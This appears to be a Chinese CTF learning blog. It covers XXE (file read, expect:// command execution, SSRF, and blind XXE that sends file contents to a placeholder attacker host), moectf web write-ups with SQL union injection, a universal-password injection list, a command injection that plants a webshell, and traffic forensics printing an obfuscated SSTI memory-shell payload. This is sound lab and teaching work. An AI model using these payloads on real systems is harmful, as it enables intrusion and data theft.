Kwan1's Blog

平生养韬光 壮志藏心间

XXE,即XML外部实体注入,应用程序解析用户可控的XML输入时,未正确处理外部实体引用,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等。

前置知识

关于XML和DTD 可以参看:https://xz.aliyun.com/news/6483
XML的两个关键概念:

XML

可扩展标记语言,设计宗旨是传输数据。
基本格式:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore> <!--根元素 每个XML必须有 且其他元素嵌套在根元素内-->
<book category="COOKING"> <!--bookstore的子元素,category为属性 用于描述该元素的额外信息,是附加在“开始标签”内部的键值对-->
<title>Everyday Italian</title> <!--book的子元素-->
<author>Giada De Laurentiis</author> <!--book的子元素 一个完整的元素节点包含元素标签名和内容-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->

称为XML prolog,用于声明XML版本和编码 可选 必须放在文档开头;standalone未yes代表DTD仅用于验证文档结构(即外部实体会被禁用),不过默认为no且一些解析器会忽略这一项。
基本语法:

所有 XML 元素都须有关闭标签。
XML 标签对大小写敏感。
XML 必须正确地嵌套。
XML 文档必须有根元素。
XML 的属性值须加引号。
若多个字符都需要转义:

DTD

用于控制XML的格式规范 为XML定义语义约束,DTD可以内联或者被外部引用。
基本语法:

1
2
3
<!DOCTYPE 根元素名 [ ...DTD 内容... ]>
or
<!DOCTYPE 根元素名 SYSTEM "外部DTD文件路径">

用于告知xml解析器此文档遵循的结构规则、定义的实体、哪些元素和属性合法
内联DTD在后面的实体部分有很多体现 这里贴一下外部的DTD引用

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Alice</to>
</note>

这样即可引用外部的DTD,SYSTEM代表引入本地的 PUBLIC代表引用网络上的

1
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">

此外,实体必须在DTD中定义,而 DTD 必须通过 <!DOCTYPE> 引入。

实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。
相当于变量 可以被引用 是XXE能够触发的核心

内部实体

内容直接写在DTD中:

例子:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY company "Alibaba Group">
<!ENTITY copyright "© 2026 &company;. All rights reserved.">
]>
<note>
<to>User</to>
<from>&company;</from>
<footer>&copyright;</footer>
</note>

解析结果等价于:

1
2
3
4
5
<note>
<to>User</to>
<from>Alibaba Group</from>
<footer>© 2026 Alibaba Group. All rights reserved.</footer>
</note>
外部实体

外部实体的内容来自外部 URI(如文件系统、HTTP、FTP 等),由 SYSTEM 或 PUBLIC 关键字引入。
内部实体 → 值在 DTD 里写死
外部实体 → 值从 URI 动态加载

例如:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<user>
<info>&passwd;</info>
</user>

可以用于读取本地的/etc/passwd文件。

参数实体

可以理解为
DTD 内部的“宏”或“变量”
普通实体(通用实体)的“DTD 专用版本”
定义方法:

1
<!ENTITY % 实体名 "实体值">

只能在DTD内使用%实体名;的方式进行引用

实体引用

XML预定义五个实体引用,即用< > & ' " 替换 < > & ‘ “

&实体名的方式,即可引用实体

攻击手法

任意文件读取

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT info ANY>
<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<user>
<info>&passwd;</info>
</user>

这里最好是加上这句 含义是让 XML 解析器接受 <info> 元素包含任意内容(包括文本、子元素等),可以提高攻击成功概率。
有时file协议被禁用 可以尝试php://filter协议读取:
php://filter/read=convert.base64-encode/resource=

命令执行

只有在安装了expect扩展的PHP环境里才行,php默认不安装这个。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>

SSRF与内网探测

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY ssrf SYSTEM "http://192.168.1.1:80">
]>
<root>&ssrf;</root>

可以用于探测内网服务、端口是否开放

Blind XXE

无回显xxe
blind xxe的本质是通过xml注入 让靶机把内部文件信息发送到我们指定的攻击机上(vps)

首先,构造一个实体 读取本地文件;然后把这个文件的内容作为data拼接给攻击机的url,然后发送请求。这样攻击机上的日志就会记录我们需要的值。

然而,内联DTD不允许我们用参数实体引用动态构造新的实体,XML 规范要求 DTD 必须在解析时是静态、完整的结构;不允许通过参数实体展开后“再解析”为新的 DTD 声明。
因此,我们需要从外部引入一个DTD,只有在外部的DTD中才会对参数实体展开后的结果,重新解析成DTD声明,从而实现动态构造实体。所以,在上文的把这个文件的内容作为data拼接给攻击机的url这一步,需要通过外部DTD实现url的拼接。
流程:
先创建外部DTD:

1
2
3
4
5
6
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;


构造XML Payload:

1
2
3
4
5
6
7
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>

代码流程:
1读取本地文件;
2进入外部dtd,在外部dtd里将读取结果拼接到url里
3执行url

Web08 第八章 天衍真言,星图显圣

SQL联合查询注入。
一个登录界面,发现传参为username和password 万能密码尝试登录后发现:
?username=&password=’ or 1=’1
回显为 Welcome admin,因此可以判断应该存在admin这个用户

一点前置知识:
–代表注释
union联合查询需要查询结果的列数相同,利用union可以执行我们想执行的sql语句,从而将其他表内的信息带出来。

接下来的流程:

1 确定查询返回列数

select查询后 会返回一个table。Table有行和列,列代表属性,行代表数据。
order by 可以根据属性(列名)进行排序,也可以直接按列序号排序。如果列序号不存在会报错。如果ORDER BY 3正确,ORDER BY 4却报错,即可确认查询结果表中有3列。
注入exp:
?username=admin’ order by 1 – &password=
?username=admin’ order by 2 – &password=
?username=admin’ order by 3 – &password=
发现3时报错,说明返回表中有2列。

2 确定可显示列

SQL查询返回的所有列,不一定都会显示在网页上,需要确认哪些列可以显示从而被我们看到.
尝试:
?username=’ union select 1,2 – &password=
发现回显为1
?username=’ union select 2,1 – &password=
发现回显为2,那么可显示列就是查询结果的第一列。

这里注意 要让我们原本查询结果为空 否则如果查出值(比如这个题会回显admin)可能覆盖我们后面想要查出的值。如果用?username=admin’ union select 2,1 – &password=,会发现返回结果是admin
此外 select不仅可以从表里查,还可以查询常量,这里就是利用了查询常量的特性。举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
-- 测试1:最简单的SELECT
SELECT 1;
-- 返回:
┌───┐
│ 1 │
└───┘

-- 测试2:多个值
SELECT 1, 2, 3;
-- 返回:
┌───┬───┬───┐
│ 1 │ 2 │ 3 │
└───┴───┴───┘

-- 测试3:混合类型
SELECT '张三' as 姓名, 18 as 年龄, NOW() as 时间;
-- 返回:
┌────────┬──────┬─────────────────────┐
│ 姓名 │ 年龄 │ 时间 │
├────────┼──────┼─────────────────────┤
│ 张三 │ 18 │ 2023-10-01 10:00:00 │
└────────┴──────┴─────────────────────┘

因此我们确定了可显示列为第一列。

3 数据库名查询

?username=1’ union select database(),2 – &password=
先查到数据库名 才能查这个数据库里的表 才能查表里字段进而拿数据。
database() 是MySQL内置的函数,返回当前连接的数据库名称
类似的其他函数:

1
2
3
4
5
6
7
-- 函数,要加括号调用
SELECT database(); -- ✅ 正确

-- 类似的其他函数:
SELECT version(); -- 返回MySQL版本
SELECT user(); -- 返回当前用户
SELECT NOW(); -- 返回当前时间

回显为user 因此应该到user里查表

4 查询表名

接下来我们需要查看user里表的名字。
MySQL数据库的元数据库information_schema记录了所有数据库、表、字段的名字。
‘ union SELECT table_name,2 FROM information_schema.tables WHERE table_schema=’user’ –
发现回显为flag,可以对这个表进行查询

然而,一个数据库可能有多个表,SELECT会返回多行,使用group_concat()包裹即可输出成一行。
‘ union SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schema=’user’ –

这样的话回显就是flag和users了,说明有两个表

5 查表读数据

‘ union SELECT *,2 FROM flag –
*是通配符 会自行展开成表中的属性 这里的2用来站位。
需要注意 这里如果select 1,2 from flag 其含义不是select第一列属性和第二列属性,而是会返回一个行数与flag相同 每行数据均为1,2的表
flag为:
moectf{UnlOn_64S3d-SQII-FtW!1185c23d8b}

Web09 第九章 星墟禁制·天机问路

命令执行
题目要求我们输入一个url,以get方式传参。
直接用;截断,然后即可执行命令。
可以写个马进去:
128.0.0.1;echo ““ > ./2.php
发现在全局变量里。
直接env即可显示
FLAG=moectf{ea5c141b-4d97-2d1a-c618-f5d917dae823}

Web0

JSFuck代码。直接控制台执行or解码即可。
直接用在线浏览器可能会因为CSP策略导致代码被拒绝执行 使用本地html开控制台即可绕过
moectf{jv@vScr1p7_14_so0o0o0o_inT3r3&t!!!}

Web01 第一章 神秘的手镯

禁止复制粘贴。
f12直接看网页源代码获得flag。
moectf{f_i2_1s_Your_g00d_fri3nd!!}
控制台禁用JS小知识:
Microsoft Edge:Ctrl+Shift+I Ctrl+Shift+P,输入JavaScript
Firefox:网址栏输入about:config,找到javascript.enabled

Web02 第二章 初识金曦玄轨

进入后是一个界面 部分文字被隐藏,但可以复制粘贴出来,有提示访问goldtrail,直接访问即可。
moectf{0bs3rv3_Th3_Gold3n_traiL}

Web03 第三章 问剑石!篡天改命!

查看js代码可知:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<body>
<div class="container">
<h1>玄天剑宗·问剑石</h1>
<div class="altar">
<div class="stone-container">
<div class="stone">
<div class="result" id="result">天赋:B,光芒:无</div>
</div>
<div class="glow" id="glow"></div>
</div>
<button class="btn-test" onclick="testTalent()">测试天赋</button>
<div class="hint">
※ 初始天赋为B级,需施展秘术篡改玄机<br>
※ 使用破阵罗盘窥探金曦玄轨,修改契引与本源真言
</div>
</div>
<div class="footer">
仙门试炼 · 金曦破禁术
</div>
</div>

<script>
async function testTalent() {
try {
const response = await fetch('/test_talent?level=B', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ manifestation: 'none' })
});

const data = await response.json();
document.getElementById('result').textContent = data.result;

// 显示/隐藏光芒效果
const glow = document.getElementById('glow');
if (data.result.includes('流云状青芒')) {
glow.style.opacity = '1';
} else {
glow.style.opacity = '0';
}

if (data.flag) {
setTimeout(() => {
alert(`✨ 天道机缘:${data.flag} ✨\n\n天赋篡天术大成!`);
}, 500);
}
} catch (error) {
alert('玄轨连接中断!请检查灵枢...');
}
}
</script>
</body>

会解析一个json,里面result字段需要有“流云状青芒“ (需要用题目中的英文)
抓包发现点击测试天赋会有一个B 和 None ,修改level参数的值和manifestation参数的值,可以看到回显结果中result中的天赋和光芒对应的值改变。

/test_talent?level=B 这里把B改成S,将manifestation的值改为流云状青芒的英文即可获得flag。
moectf{gET_pOst-tR@NsmIs5lon_1s-4-Go0d-mEthoDl1!1ba}

Web04 第四章 金曦破禁与七绝傀儡阵

七关
第一关:Get传参 ?key=xdsec bW9lY3Rme0Mw
第二关:Post请求 用hackbarPOST方法请求数据,data为declaration=织云阁=第一 bjZyNDd1MTQ3
第三关:本地访问 需要我们伪造本地访问的方式 curl -H “X-Forwarded-For: 127.0.0.1” http://127.0.0.1:53567/shadow_stalker -H “X-Forwarded-For: 127.0.0.1”的含义是添加一个 HTTP 头部,伪造客户端 IP 为 127.0.0.1
一些伪造本地请求的姿势:
Client-Ip: 127.0.0.1
host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Referer: 127.0.0.1
可以用hackbar插件 直接插入header 或者 bp发包时添加header
MTBuNV95MHVy
第四关
要求使用moe browser进行访问。伪造User-Agent即可
bp插件和hackbar均可
X2g3N1BfbDN2
第五关 以xt的身份认证user
抓包没发现什么特别的 本题需要伪造Cookie: user=xt
使用bp或backbar 或 curl -H “Cookie: user=xt” http://127.0.0.1:53567/heart_seal
M2xfMTVfcjM0
第六关
Referer伪造
Referer头部用于告诉服务器:用户是从哪个 URL 跳转/链接到当前页面的
根据提示直接修改Referer即可
bGx5X2gxOWgh
第七关
put请求的使用 直接用put请求发送“新生”即可
fQ==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PUT /void_rebirth HTTP/1.1
Host: 127.0.0.1:17201
sec-ch-ua: "Not.A/Brand";v="99", "Chromium";v="136"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 13

新生!

拼接然后base64decode即可
moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!}

Web05 第五章 打上门来!

目录遍历漏洞
http://127.0.0.1:15237/?file=../../
即可直接访问根目录

Web06 第六章 藏经禁制?玄机初探!

SQL注入 发现传递参数为:
/?username=&password=
可以直接使用万能密码
/?username=&password=’ or 1=’1
moectf{WeLC0ME-T0-5qL-injecTlONl11225d42a}

一些SQL知识:优先级关系:or<and<not,同一优先级默认从左往右计算。
比如,对于:
SELECT * FROM admin WHERE Username= ‘“.$username.”‘ AND Password= ‘“.md5($password).”‘
输入 1′ or 1=1 or ‘1’=’1万能密码语句变为:SELECT * FROM admin WHERE Username=’1’ OR 1=1 OR ‘1’=’1’ AND Password=’EDFKGMZDFSDFDSFRRQWERRFGGG’

and优先级高,先算’1’=’1’ AND Password=’EDFKGMZDFSDFDSFRRQWERRFGGG’,为0
然后是Username=’1’ 为0
1=1 为1
最后就是0 or 1 or 0
一些万用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

asp aspx万能密码
1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17…admin’ or ‘a’=’a 密码随便

PHP万能密码
‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1

jsp 万能密码
1’or’1’=’1
admin’ OR 1=1/*

Web07 第七章 灵蛛探穴与阴阳双生符

robots.txt 提示访问flag.php,是一个简单的php代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
$flag = getenv('FLAG');

$a = $_GET["a"] ?? "";
$b = $_GET["b"] ?? "";

if($a == $b){
die("error 1");
}

if(md5($a) != md5($b)){
die("error 2");
}

echo $flag;

要求ab不相等但md5相等。由于PHP中的!=是松散比较(!==是严格比较),是可以实现这个条件的。
在PHP中,松散比较会进行类型转换。
在PHP中,以 0e 开头后面跟数字的字符串,会被解释为科学计数法:
0e123 表示 0 × 10¹²³ = 0
0e462097431906509019562988736854 = 0 × 10¹⁴⁶²⁰⁹⁷… = 0
因此两个0e开头的字符串会被判等 即可绕过hash
exp:
/flag.php?a=240610708&b=QNKCDZO
moectf{MD5-l5_n0T_safe!!16e29b462f5}
一些PHP比较知识:
松散比较:==比较时先转数据类型再进行比较
严格比较:=== 比较时先判断两种字符串类型是否相等,再进行比较
如果该字符串没有包含’.’ ‘e’ ‘E’并且数值在整形范围值内,该字符串被当作int来取值,其他所有情况下被当作float来取值。
当字符串与数字进行松散比较时(==),PHP会尝试将字符串转换为数字。转换规则是:
从字符串开头读取字符,直到遇到第一个非数字字符为止,然后将读取到的数字部分转换为整数或浮点数。没读到数字字符即为0
有e时,会把e前面的当成科学计数法。比如12e3就是12x10^3

做流量分析做到一道Modbus流量分析的题,第一次见遂记录。

流程核心:主站发起、从站响应


  1. 主站发起请求

SCADA/PLC(主站)生成 Modbus/TCP 包:

  • Transaction ID

  • Unit ID

  • Function Code

  • 目标地址

  • 数据值


  1. 从站接收并执行

执行器(从站)收到包后,先检查 Unit ID 是否匹配自己的 Node ID,如果匹配就执行指令:

  • 解析 Function Code,例如写单个线圈

  • 定位至线圈并设置数据值

从站返回响应:阀门执行器生成响应包,带上和请求包相同的 Transaction ID,返回:

  • Function Code

  • 线圈地址

  • 数据值


  1. 主站接收响应

SCADA/PLC 收到响应包后,通过 Transaction ID 匹配到之前的请求,确认动作已执行,并在 HMI 上更新状态。

常见的功能码:

1
2
3
4
5
6
7
8
1:读线圈
2:读离散输入
3:读保持
4:读输入
5:写单个线圈
6:写单个保持
15:写多个线圈
16:写多个保持

此外,注意:
写线圈后,Data为0xff00说明置1,可以理解成“打开”的意思
为0x0000即说明置0,对应“关闭”
Reference Number为线圈寄存器地址
NodeId为工业网络里标识设备的 “地址”

题中也出现了SNMPv2协议,也和工控流量相关:
SNMPv2 是简单网络管理协议(SNMP)的一个常用版本,用于网络设备(路由器、交换机等)的监控与管理,延续了SNMP主从式(管理站与代理)的通信模式,管理站可通过Get、GetNext等操作查询设备参数,也可通过Set操作配置设备,代理则部署在被管理设备上,接收指令并返回响应,SNMPv2支持批量查询,能更高效地获取多个设备参数,其认证方式仍采用共同体名(Community String),分为只读(public,仅查询数据)和读写(private,可配置设备)两种,同时依赖MIB(管理信息库)定义可监控参数及对应OID(对象标识符),相较于SNMPv1提升了查询效率和错误处理能力,但未添加加密和更严格的身份验证机制,安全性较弱,常应用于对安全要求不高的内部网络环境。
MIB(Management Information Base,管理信息库)是MO(Managed Object管理对象)定义的集合。MIB文件是按照ASN.1定义的文本文件。每个管理对象都对应一个节点,并且用OID(Object Identifier)来标识;数据管理对象对应叶子节点;所有的管理对象形成了一棵管理树。对象标识从顶部开始,顶部没有标识,以root表示。所有的MIB变量都从1.3.6.1.2.1这个标识开始。树上的每个节点还有文字名,例如:1.3.6.1.2.1就和iso.org.dod.internet.memt.mib对应。
例如:
0000 00 2f 14 27 16 3a 00 45 3a 2c 5b 62 08 00 45 00 ./.’.:.E:,[b..E.
0010 00 59 00 01 00 00 40 11 f6 46 c0 a8 01 98 c0 a8 .Y....@..F……
0020 01 64 d0 9c 00 a1 00 45 c8 a2 53 4e 4d 50 76 32 .d…..E..SNMPv2
0030 63 3b 43 6f 6d 6d 75 6e 69 74 79 3d 70 75 62 6c c;Community=publ
0040 69 63 3b 50 44 55 3d 47 65 74 52 65 71 75 65 73 ic;PDU=GetReques
0050 74 3b 4f 49 44 3d 31 2e 33 2e 36 2e 31 2e 34 2e t;OID=1.3.6.1.4.
0060 31 2e 36 33 36 2e 31 1.636.1
Community=public:public,代表是只读权限的请求,只能查询设备数据,不能修改配置。
PDU=GetRequest:表示这是一个GetRequest类型的协议数据单元(PDU),也就是管理站向设备代理发起的查询请求。
OID:指定了要查询的对象标识符(OID)
这个包是 IP 为 192.168.1.152 的管理站,向 IP 为 192.168.1.100 的网络设备,发送了一个 SNMPv2c 只读查询请求,目标是获取 OID 1.3.6.1.4.1.636.1 对应的设备私有 MIB 信息(通常是厂商自定义的设备参数)。

流量取证
比赛的时候手慢了点,重新复现一下。

1

要求找到成功登陆时的账号密码。直接全局搜login,发现了大量的登陆请求。回显为用户名或密码错误。因此从后往前搜索login(ctrl+b搜索上一个),发现有一个登录后回显302的,发现后面成为管理员。因此找到302回显的发包,即可发现账号密码为admin zxcvbnm123

2

要求找到SERCET_KEY的值,直接全局搜索即可。 SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051f160'

3

要求获取内存马的加密密钥
继续看下面的包,发现preview_content=,疑似ssti内存马注入。ssti注入内存马一般是通过http协议进行通信,继续往下看http协议包。过滤并保留http协议包,发现下一个包内就发送了很多奇怪的代码:

1
preview_content={{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxV